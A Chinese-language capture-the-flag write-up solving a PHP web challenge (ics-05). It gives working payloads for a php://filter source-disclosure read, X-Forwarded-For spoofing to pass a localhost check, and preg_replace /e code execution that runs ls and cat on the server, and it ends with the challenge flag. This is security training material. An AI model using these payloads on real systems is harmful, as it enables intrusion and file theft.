做了一个ics-06,现在来试一下做5。先来打开页面吧。
还是与之前一样,那我就想着继续查看一下index.php
来到了这个页面,也没发现什么东西。
查看一下源码吧
发现猫腻。有page这个get这个参数,想着会不会是可能存在利用文件包含读取网页源码的漏洞。那我们用php内置filter协议读取文件的代码
?page=php://filter/read=convert.base64-encode/resource=index.php
这样就可以读取出源码的内容,不过是用base64加密后的源文件。
然后我们利用base64解密一手。发现有php代码。我扔到下面。
if ($_SERVER[‘HTTP_X_FORWARDED_FOR‘] === ‘127.0.0.1‘) { echo "<br >Welcome My Admin ! <br >"; $pattern = $_GET[pat]; $replacement = $_GET[rep]; $subject = $_GET[sub]; if (isset($pattern) && isset($replacement) && isset($subject)) { preg_replace($pattern, $replacement, $subject); }else{ die(); }
那我们来进行一下代码审计吧。
首先$_SERVER[‘HTTP_X_FORWARDED_FOR‘],我们先来解释里面的这个HTTP_X_FORWARDED_FOR,看着这个会不会有些熟悉。
它其实也就是咱们常说的XFF头,它是由客户端控制的。这个可以用来伪造IP
使用bp构造XFF头伪造IP。
而这个函数呢,它能透过代理IP取到真实用户的地址,对HTTP协议进行扩展。定义了一个叫做X-Forwarded-For的实体头。
所以PHP里使用$_SERVER{HTTP_X_FORWARDED_FOR}来获取IP。
代码里需要IP===127.0.0.1
那我们就先在html的头格式中伪造IP,要等于127.0.0.1
构造好后来go一下,
这样页面里出现Welcome My Admin!,这证明伪造成功了
那我继续看下面的php代码。
这里有一个最关键的函数——preg_replace()函数
为啥这里关键呢。参考大佬的wp,说这个preg_replace()函数存在着一个/e漏洞进行代码执行,百度了一下:
那我们先了解一下这个函数的作用。
语法:preg_replace($pattern,$replacement,$subject)
作用:找subject中与pattern匹配的,用replacement来替换掉。
$pattern:要替换的内容。可以是字符串或者是字符串数组。
$replacement:用于替换的字符串或数组。
$subject:要搜索替换的目标字符串或数组。
还有关于这个函数的/e漏洞:
preg_replace 使用了 /e 模式,导致可以代码执行,而且该函数的第一个和第三个参数都是我们可以控制的。
我们都知道, preg_replace 函数在匹配到符号正则的字符串时,会将替换字符串(也就是上面代码中 preg_replace 函数的第二个参数)当做代码来执行。
也就是说只要在subject中有要搜索的pattern的内容,同时将在replacement前加上/e,触发/e漏洞,就可以执行replacement中的正确的php代码。
现在我们开始进行第一步,利用system("ls")查看一下文件目录,
?pat=/abc/e&rep=system("ls")&sub=defg%20abc
成功读取了文件目录,同时发现了s3chahahaDir有点东西。进到里面查看内容。
利用cd去到s3chahahaDir文件夹下查看内容。
构造Pyload:
?pat=/abc/e&rep=system("cd%20s3chahahaDir%26%26%20ls")&sub=defg%20abc
%20代表空格,%26%26就是&&
发现了flag文件。再利用cd命令读取一下flag
Pyload:
?pat=/abc/e&rep=system("cd%20s3chahahaDir/flag%26%26%20ls")&sub=defg%20abc
成功读取flag文件夹里的flag.php文件,最后我们再cd命令读取一下。
pyload:
?pat=/abc/e&rep=system("cat%20s3chahahaDir/flag/flag.php")&sub=defg%20abc
成功读取flag.
cyberpeace{e451121369f5be315f891e55e01fe1d6}